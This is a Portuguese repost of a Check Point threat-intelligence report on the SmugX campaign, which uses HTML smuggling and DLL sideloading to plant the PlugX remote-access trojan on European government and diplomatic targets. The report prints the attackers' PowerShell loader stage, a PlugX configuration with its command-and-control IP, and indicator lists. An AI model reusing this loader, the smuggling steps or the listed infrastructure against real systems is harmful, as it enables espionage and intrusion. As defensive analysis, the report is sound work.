blank

blank

Introdução

Nos últimos meses, a Check Point Research (CPR) tem rastreado a atividade de uma ameaça chinesa que tem como alvo ministérios de Relações Exteriores e embaixadas na Europa. Combinado com outras atividades chinesas relatadas anteriormente pela Check Point Research, isso representa uma tendência maior dentro do ecossistema chinês, apontando para uma mudança para direcionar entidades europeias, com foco em sua política externa.

A atividade descrita neste relatório utiliza contrabando de HTML para atingir entidades governamentais na Europa Oriental. Esta campanha específica está ativa desde pelo menos dezembro de 2022 e provavelmente é uma continuação direta de uma campanha relatada anteriormente atribuída à RedDelta (e também ao Mustang Panda, até certo ponto).

A campanha usa novos métodos de entrega para implantar (principalmente – HTML Smuggling) uma nova variante do PlugX, um implante comumente associado a uma ampla variedade de agentes de ameaças chineses. Embora a carga útil em si permaneça semelhante à encontrada nas variantes PlugX mais antigas, seus métodos de entrega resultam em baixas taxas de detecção, o que até recentemente ajudou a campanha a passar despercebida.

Principais conclusões:

  • A Check Point Research revela uma campanha direcionada realizada por um agente de ameaças chinês visando entidades governamentais na Europa, com foco em entidades de política externa e doméstica.
  • A campanha utiliza HTML Smuggling, uma técnica na qual os invasores ocultam cargas maliciosas dentro de documentos HTML.
  • Após uma cadeia de infecção complexa envolvendo arquivos ou arquivos MSI, os ataques implantam o PlugX, um implante comumente associado a agentes de ameaças chineses.
  • A campanha, chamada SmugX , se sobrepõe à atividade relatada anteriormente pelos atores chineses do APT  RedDelta  e  Mustang Panda. Embora esses dois se relacionem até certo ponto com o Camaro Dragon, não há evidências suficientes para vincular a campanha SmugX ao grupo Camaro Dragon.

Contrabando de HTML 101

Vamos começar com uma breve visão geral do contrabando de HTML, uma técnica bem documentada   associada a criminosos cibernéticos e atores patrocinados pelo estado. Arquivos maliciosos são incorporados em documentos HTML, permitindo que eles evitem medidas de detecção baseadas em rede.

A forma como o HTML Smuggling é utilizado na campanha SmugX resulta no download de um arquivo JavaScript ou ZIP. Abrir esses documentos HTML maliciosos resulta na seguinte cadeia de eventos:

  1. A carga incorporada no código é decodificada e salva em um blob JavaScript, especificando o tipo de arquivo apropriado, como  application/zip.
  2. Em vez de utilizar o  <a> elemento HTML, o código JavaScript o cria dinamicamente.
  3. Um objeto de URL é criado a partir do blob usando a  createObjectURL função.
  4. O  download atributo é definido com o nome de arquivo desejado.
  5. Por fim, o código invoca a ação de clique, que simula um usuário clicando no link e inicia o download do arquivo.
  6. Para versões mais antigas do navegador, o código é usado  msSaveOrOpenBlob para salvar o blob com o nome de arquivo desejado.
blank
Figura 1 – A implementação ofuscada do HTML Smuggling.

Iscas e Alvos

Os temas de atração são fortemente focados nas políticas domésticas e externas europeias e foram usados ​​principalmente para atingir os ministérios governamentais da Europa Oriental.

blank
Figura 2 – Alvos e atrativos da campanha SmugX.

A maioria dos documentos continha conteúdo diplomático. Em mais de um caso, o conteúdo estava diretamente relacionado à China.

As iscas carregadas no VirusTotal incluem:

  • Uma carta proveniente da embaixada sérvia em Budapeste.
  • Um documento que define as prioridades da Presidência sueca do Conselho da União Europeia.
  • Um convite para uma conferência diplomática emitido pelo Ministério das Relações Exteriores da Hungria.
  • Um artigo sobre dois advogados chineses de direitos humanos condenados a mais de uma década de prisão.

Além disso, os próprios nomes dos arquivos arquivados sugerem fortemente que as vítimas pretendidas eram diplomatas e entidades governamentais. Aqui estão alguns exemplos dos nomes que identificamos:

  • Rascunho do Plano de Ação do Processo de Praga_SOM_EN
  • 2262_3_PrepCom_Proposal_next_meeting_26_April
  • Comentários FRANÇA – Cúpula UE-CELAC – 4 de maio
  • 202305 Planejamento Indicativo RELEX
  • China prende dois advogados de direitos humanos por subversão
blank
Figura 3 – Algumas das iscas utilizadas nesta campanha.

Reconhecimento

Durante nossa pesquisa, encontramos um documento chamado  China Tries to Block Prominent Uyghur Speaker at UN.docx, que foi carregado no VirusTotal. Este documento emprega a técnica de imagem remota para acessar a URL  https://www.jcswcd[.]com/?wd=cqyahznz, contendo uma imagem de pixel único que não é aparente para o usuário. Essa técnica, chamada rastreamento de pixel, é comumente usada como ferramenta de reconhecimento. À medida que a imagem remota é solicitada, o servidor do invasor registra a solicitação, capturando informações como endereço IP, agente do usuário e, às vezes, a hora do acesso. Ao analisar os dados coletados, os invasores podem coletar informações sobre o comportamento do destinatário, como quando e onde o documento foi acessado.

blank
Figura 4 – Arquivo de reconhecimento.

Cadeias de Infecção

blank
Figura 5 – Visão geral das cadeias de infecção do PlugX.

Existem duas cadeias principais de infecção, ambas originadas de um arquivo HTML que salva o segundo estágio na pasta Download de acordo com as configurações do navegador da vítima. O segundo estágio pode variar, com uma cadeia usando um arquivo ZIP que contém um arquivo LNK malicioso e a outra cadeia utilizando JavaScript para baixar um arquivo MSI de um servidor remoto.

Cadeia de arquivos SmugX

No primeiro cenário, o HTML contrabandeia um arquivo ZIP que contém um arquivo LNK malicioso que executa o PowerShell. O PowerShell extrai um arquivo compactado incorporado ao arquivo lnk e o salva no %temp% diretório. O arquivo, denominado  tmp.zip ou  tmp<random_number>.zip, contém três arquivos:

  1. Um executável legítimo usado para carregar a carga útil (ou  robotaskbaricon.exe ou  passwordgenerator.exe).
  2. A DLL de carregamento lateral maliciosa  RoboForm.dll.
  3. A carga PlugX  data.dat.

ⓘ A vulnerabilidade no RoboForm foi corrigida pela empresa a partir da versão 9.3.7 para Windows, lançada em 1º de novembro de 2022.

O PowerShell continua a executar o software sequestrado, acionando a execução da carga PlugX armazenada em  data.dat.

$obf_lnkpath = Get - ChildItem  * .lnk | where - object {$_.length  - eq 00824235}
| Select - Object  - ExpandProperty FullName;
$obf_file = [system.io.file]::ReadAllBytes($obf_lnkpath);
$obf_path = 'C:\Users\User\AppData\Local\Temp\tmp.zip';
$obf_path = [Environment]::ExpandEnvironmentVariables($obf_path);
$obf_dir = [System.IO.Path]::GetDirectoryName($obf_path);
[System.IO.File]::WriteAllBytes($obf_path, $obf_file[008192..($obf_file.length)]);
cd $obf_dir;
Expand - Archive  - Path $obf_path  - DestinationPath .  - EA SilentlyContinue  - Force | Out - Null;
Remove - Item  - Path $obf_path  - EA SilentlyContinue  - Force | Out - Null;
& .\passwordgenerator.exe

Cadeia JavaScript SmugX

O segundo cenário utiliza HTML Smuggling para baixar um arquivo JavaScript. Quando esse arquivo é executado, ele baixa e executa um arquivo MSI do servidor do invasor. O MSI cria uma nova pasta dentro do  %appdata%\Local diretório, onde são armazenados os três arquivos extraídos do pacote MSI. Os arquivos descartados consistem em um executável legítimo sequestrado, o carregador DLL e a carga criptografada, conforme descrito acima.

Carregador

Conforme observado em instâncias anteriores, o malware PlugX emprega técnicas de sideload de DLL. Depois que o arquivo lnk ou MSI elimina os arquivos necessários, ele aciona a execução de um programa legítimo, que por sua vez carrega a DLL maliciosa. A DLL é responsável por descriptografar a carga útil final, que geralmente é armazenada em um arquivo denominado  data.dat usando criptografia RC4.

O processo de descriptografia utiliza uma chave codificada que varia entre diferentes versões do malware. Uma vez descriptografado, o payload é carregado na memória para posterior execução.

blank
Figura 6 – O carregador carrega e descriptografa a carga útil na memória usando a chave destacada.

Malware PlugX

A carga final é o malware PlugX, que tem sido utilizado por vários agentes de ameaças chineses desde 2008. Ele opera como uma ferramenta de acesso remoto (RAT) e emprega uma estrutura modular que permite acomodar diversos plug-ins com funcionalidades distintas. Isso permite que os invasores realizem uma variedade de atividades maliciosas nos sistemas comprometidos, incluindo roubo de arquivos, capturas de tela, registro de pressionamento de tecla e execução de comandos.

Para garantir a persistência, a carga útil do PlugX copia o programa legítimo e a DLL e os armazena em um diretório oculto criado por ele. A carga criptografada é armazenada em uma pasta oculta separada. O malware consegue persistência adicionando o programa legítimo à  Run chave de registro.

blank
Figura 7 – Chave de atualização do RoboForm adicionada para persistência.

Algumas das cargas PlugX que encontramos escrevem uma isca enganosa na forma de um arquivo PDF no  %temp% diretório e, em seguida, abrem-no. O caminho do documento é armazenado na configuração do PlugX em  document_name. Vale ressaltar que apenas algumas amostras dentro desta campanha incluíram o  document_name campo; estava faltando na maioria das amostras.

Após a execução inicial que define a persistência e copia os arquivos de malware para seus diretórios de destino, o malware é executado novamente. Desta vez inclui um parâmetro indicando que deve realizar comunicação exclusivamente com o servidor C&C (Comando e Controle). Uma mudança notável que vimos nas amostras desta campanha é o uso crescente do método de criptografia RC4 em comparação com a descriptografia XOR simples que vimos no passado. A configuração criptografada ainda reside na seção de dados, mas tem a chave anexada no início da configuração e não na função de descriptografia como nos exemplos anteriores.

{
    "str_one": "",
    "str_two": "TwGd6YGGI",
    "campaign_id": "test3",
    "document_name": "202305 Indicative Planning RELEX.pdf",
    "ips": [
        {
            "ip": "62.233.57.136",
                  "port": 443,
                  "is_https": 1
        },
        {
            "ip": "62.233.57.136",
                  "port": 443,
                  "is_https": 1
        },
        {
            "ip": "62.233.57.136",
                  "port": 443,
                  "is_https": 1
        }
    ]
}

Durante nossa investigação das amostras, o agente da ameaça despachou um script em lote, enviado do servidor C&C, destinado a apagar qualquer vestígio de suas atividades. Esse script, chamado  del_RoboTask Update.bat, erradica o executável legítimo, a DLL do carregador PlugX e a chave de registro implementada para persistência e, por fim, exclui a si mesmo. É provável que isso seja o resultado de os agentes da ameaça terem percebido que estavam sob escrutínio.

Atribuição

Esta campanha compartilha semelhanças significativas com atividades atribuídas por outros fornecedores de segurança a RedDelta ou Mustang Panda (neste contexto, vale a pena notar que RedDelta e Mustang Panda estão correlacionados até certo ponto e, em alguns casos, são usados ​​para descrever a mesma atividade):

  • Infraestrutura  – Durante nossa pesquisa, encontramos um certificado distinto no servidor C&C com o endereço IP  62.233.57[.]136. Notavelmente, o nome comum dentro deste certificado aponta para outro endereço IP,  45.134.83[.]29, um indicador anteriormente  associado  ao RedDelta.
    Vale ressaltar que o mesmo certificado foi  referenciado  em outras pesquisas sobre o Mustang Panda, solidificando ainda mais o vínculo entre o SmugX e as atividades observadas anteriormente.
blank
Figura 8 – O certificado encontrado no servidor C&C.
  • Caminhos  – Alguns dos caminhos usados ​​para implantar o PlugX são únicos e foram observados nas campanhas descritas acima. Os caminhos únicos que observamos incluem:
    • C:\Users\Public\VirtualFile
    • C:\Users\Público\SamsungDriver
    • C:\Usuários\Público\SecurityScan
  • Segmentação  – Além da evidência técnica, a vitimologia e as táticas de atração empregadas na campanha SmugX são altamente correlacionadas com aquelas descritas nos relatórios RedDelta e Mustang Panda de outros fornecedores.

Recentemente,  publicamos  um conjunto de artigos sobre um agente de ameaças que rastreamos chamado Camaro Dragon, cuja atividade se sobrepõe a Mustang Panda e RedDelta. No entanto, não há evidências suficientes para vincular esta campanha atual diretamente ao Camaro Dragon e, portanto, rastreá-la como a campanha SmugX.

Conclusão

Neste relatório, analisamos uma campanha recente que se correlaciona com as atividades da RedDelta e se sobrepõe, até certo ponto, ao Mustang Panda, destacando seu persistente direcionamento a entidades governamentais europeias. Identificamos várias cadeias de infecção que empregam a técnica de contrabando de HTML que leva à implantação da carga útil do PlugX. A campanha, chamada SmugX, faz parte de uma tendência maior que estamos vendo de agentes de ameaças chineses mudando seu foco para a Europa.

Embora nenhuma das técnicas observadas nesta campanha seja nova ou única, a combinação das diferentes táticas e a variedade de cadeias de infecção resultando em baixas taxas de detecção permitiram que os agentes da ameaça permanecessem fora do radar por um bom tempo. Quanto ao PlugX, ele também permaneceu praticamente inalterado em relação às aparições anteriores, embora um novo aspecto observado seja a adoção da criptografia RC4 da carga útil, que é diferente da criptografia XOR utilizada anteriormente.

Os clientes da Check Point Software permanecem protegidos contra a ameaça descrita nesta pesquisa.

O Check Point  Threat Emulation  e  o Harmony Endpoint  fornecem cobertura abrangente de táticas de ataque, tipos de arquivo e sistemas operacionais e protegem contra os tipos de ataques e ameaças descritos neste relatório.

Emulação de ameaças Check Point:

  • APT.Wins.MustangPanda.AP

Ponto final de harmonia:

  • APT.Win.PlugX.O
  • APT.Win.PlugX.Q
  • APT.Win.PlugX.R

IOCs

Hashes

HTML

  • edb5d4b454b6c7d3abecd6de7099e05575b8f28bb09dfc364e45ce8c16a34fcd
  • 736451c2593bc1601c52b45c16ad8fd1aec56f868eb3bba333183723dea805af
  • 0e4b81e04ca77762be2afb8bd451abb2ff46d2831028cde1c5d0ec45199f01a1
  • 989ede1df02e4d9620f6caf75a88a11791d156f62fdea4258e12d972df76bc05
  • 10cad59ea2a566597d933b1e8ba929af0b4c7af85481eacaab708ef4ddf6e0ee
  • c96723a68fc939c835578ff746f7d4c5371cb82a9c0dffe360bb656acea4d6e1
  • 9ce5abd02d397689d99f62dfbd2a6a396876c6629cb5db453f1dcbbc3465ac9a

Arquivos

  • 5f751fb287db51f79bb6df2e330a53b6d80ef3d2af93f09bb786b62e613514db
  • baca1159acc715545a787d522950117eae5b7dc65efafe86383f62e6b9b59d3
  • 720a70ca6ee1fbaf06c7cb60d14e27391130407e34e13a092d19f1df2c9c6d05
  • 460c459db77c5625ed1c029b2dd6c6eae5e631b81a169494fb0182d550769f76
  • 277390cc50e00f52e76a6562e6e699b0345497bd1df26c7c41bd56da5b6d1347

JavaScripts

  • 3c6ace055527877778d989f469a5a70eb5ef7700375b850f0b1b8414151105ee
  • 27a61653ce4e503334413cf80809647ce5dca02ff4aea63fb3a39bc62c9c258c
  • ce308b538ff3a0be0dbcee753db7e556a54b4aeddbddd0c03db7126b08911fe2

MSI

  • fd0711a50c8af1dbc5c7ba42b894b2af8a2b03dd7544d20f5a887c93b9834429
  • 3489955d23e66d6f34b3ada70b4d228547dbb3ccb0f6c7282553cbbdeaf168cb
  • 04b99518502774deb4a9d9cf6b54d43ff8f333d8ec5b4b230c0e995542bb2c61
  • bd3881964e351a7691bfc7e997e8a2c8ce4a8e26b79e3712d0cbdc484a5646b6
  • ea2869424df2ffbb113017d95ae48ae8ed9897280fd21b26e046c75b3e43b25a

RoboForm.dll

  • b00c252a60171f33e32e64891ffe826b8a45f8816acf778838d788897213a405
  • 2bc30ced135acd6a506cfb557734407f21b70fecd2f645c5b938e14199b24f1e
  • 0d13a503d86a6450f71408eb82a196718324465744bf6b8c4e0a780fd5be40c0
  • 0bdfb922a39103658195d1d37ff584d24f7bd88464e7a119e86d6e3579958cc1
  • a0879dd439c7f1ed520aad0c309fe1dbf1a2fc41e2468f4174489a0ec56c47c7
  • bddbc529f23ab6b865bc750508403ef57c8cf77284d613d030949bd37078d880
  • 4547914e17c127d9b53bbc9d44de0e5b867f1a86d2e5ede828cd3188ed7fe838
  • 0032d5430f1b5fcfb6a380b4f1d226b6b919f2677340503f04df04235409b2d0

Carga útil criptografada

  • 62c2e246855d589eb1ec37a9f3bcc0b6f3ba9946532aff8a39a4dc9d3a93f42c
  • f7d35cb95256513c07c262d4b03603e073e58eb4cd5fa9aac1e04ecc6e870d42
  • bf4f8a5f75e9e5ecd752baa73abddd37b014728722ac3d74b82bffa625bf09b5
  • 8a6ef9aa3f0762b03f983a1e53e8c731247273aafa410ed884ecd4c4e02c7db8
  • ec3e491a831b4057fc0e2ebe9f43c32f1f07959b6430b323d35d6d409d2b31e4
  • bf8e512921522e49d16c638dc8d01bd0a2803a4ef019afbfc2f0941875019ea1
  • ba55542c6fa12865633d6d24f4a81bffd512791a6e0a9b77f6b17a53e2216659

Carga útil descriptografada

  • 8ea34b85dd4fb64f7e6591e4f1c24763fc3421caa7c0f0d8350c67b9bafa4d32
  • 8cac6dfb2a894ff3f530c29e79dcd37810b4628279b9570a34f7e22bd4d416b3
  • ea5825fa1f39587a88882e87064caae9dd3b79f02438dc3a229c5b775b530c7d
  • 1acb061ce63ee8ee172fbdf518bd261ef2c46d818ffd4b1614db6ce3daa5a885
  • 08661f40f40371fc8a49380ad3d57521f9d0c2aa322ae4b0a684b27e637aed12
  • 324bfb2f414be221e24aaa9fb22cb49e4d4c0904bd7c203afdff158ba63fe35b

IPs e domínios

  • 45.90.58[.]69
  • 62.233.57[.]136
  • 217.12.207[.]164
  • 152.152.12[.]12
  • jcswcd[.]com
  • newsmailnet[.]com

Caminhos

  • C:\Users\<nome de usuário>\VirtualFile
  • C:\Users\Public\VirtualFile
  • C:\Usuários\<nome de usuário>\SamsungDriver
  • C:\Users\Público\SamsungDriver
  • C:\Usuários\Público\SecurityScan

 

Fonte: Check Point


Descubra mais sobre DCiber

Assine para receber os posts mais recentes por e-mail.